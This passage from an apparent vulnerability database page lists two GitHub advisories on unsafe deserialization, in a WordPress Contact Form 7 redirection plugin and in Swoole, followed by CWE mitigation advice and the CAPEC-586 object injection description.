"type": "CVSS_V3"
}
]
}
GHSA-WMG4-PFMH-HXH4
Vulnerability from github – Published: 2025-08-20 03:30 – Updated: 2025-08-20 03:30The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.4 via deserialization of untrusted input in the delete_associated_files function. This makes it possible for unauthenticated attackers to inject a PHP Object. This vulnerability may be exploited by unauthenticated attackers when a form is present on the site with a file upload action, and doesn't affect sites with PHP version > 8. This vulnerability also requires the 'Redirection For Contact Form 7 Extension - Create Post' extension to be installed and activated in order to be exploited. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. We confirmed there is a usable gadget in Contact Form 7 plugin that makes arbitrary file deletion possible when installed with this plugin. Given Contact Form 7 is a requirement of this plugin, it is likely that any site with this plugin and the 'Redirection For Contact Form 7 Extension - Create Post' extension enabled is vulnerable to arbitrary file deletion.
{
"affected": [],
"aliases": [
"CVE-2025-8289"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T03:15:36Z",
"severity": "HIGH"
},
"details": "The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.4 via deserialization of untrusted input in the delete_associated_files function. This makes it possible for unauthenticated attackers to inject a PHP Object. This vulnerability may be exploited by unauthenticated attackers when a form is present on the site with a file upload action, and doesn\u0027t affect sites with PHP version \u003e 8. This vulnerability also requires the \u0027Redirection For Contact Form 7 Extension - Create Post\u0027 extension to be installed and activated in order to be exploited. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. We confirmed there is a usable gadget in Contact Form 7 plugin that makes arbitrary file deletion possible when installed with this plugin. Given Contact Form 7 is a requirement of this plugin, it is likely that any site with this plugin and the \u0027Redirection For Contact Form 7 Extension - Create Post\u0027 extension enabled is vulnerable to arbitrary file deletion.",
"id": "GHSA-wmg4-pfmh-hxh4",
"modified": "2025-08-20T03:30:21Z",
"published": "2025-08-20T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8289"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpcf7-redirect/tags/3.2.4/classes/class-wpcf7r-save-files.php#L80"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c7909b75-8087-4d38-8325-c619bf84d997?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP68-99Q2-JM6P
Vulnerability from github – Published: 2022-05-14 02:00 – Updated: 2022-05-14 02:00The unpack implementation in Swoole version 4.0.4 lacks correct size checks in the deserialization process. An attacker can craft a serialized object to exploit this vulnerability and cause a SEGV.
{
"affected": [],
"aliases": [
"CVE-2018-15503"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-18T02:29:00Z",
"severity": "HIGH"
},
"details": "The unpack implementation in Swoole version 4.0.4 lacks correct size checks in the deserialization process. An attacker can craft a serialized object to exploit this vulnerability and cause a SEGV.",
"id": "GHSA-wp68-99q2-jm6p",
"modified": "2022-05-14T02:00:54Z",
"published": "2022-05-14T02:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15503"
},
{
"type": "WEB",
"url": "https://github.com/swoole/swoole-src/issues/1882"
},
{
"type": "WEB",
"url": "https://github.com/swoole/swoole-src/commit/4cdbce5d9bf2fe596bb6acd7d6611f9e8c253a76"
},
{
"type": "WEB",
"url": "https://x-c3ll.github.io/posts/swoole-deserialization-cve-2018-15503"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.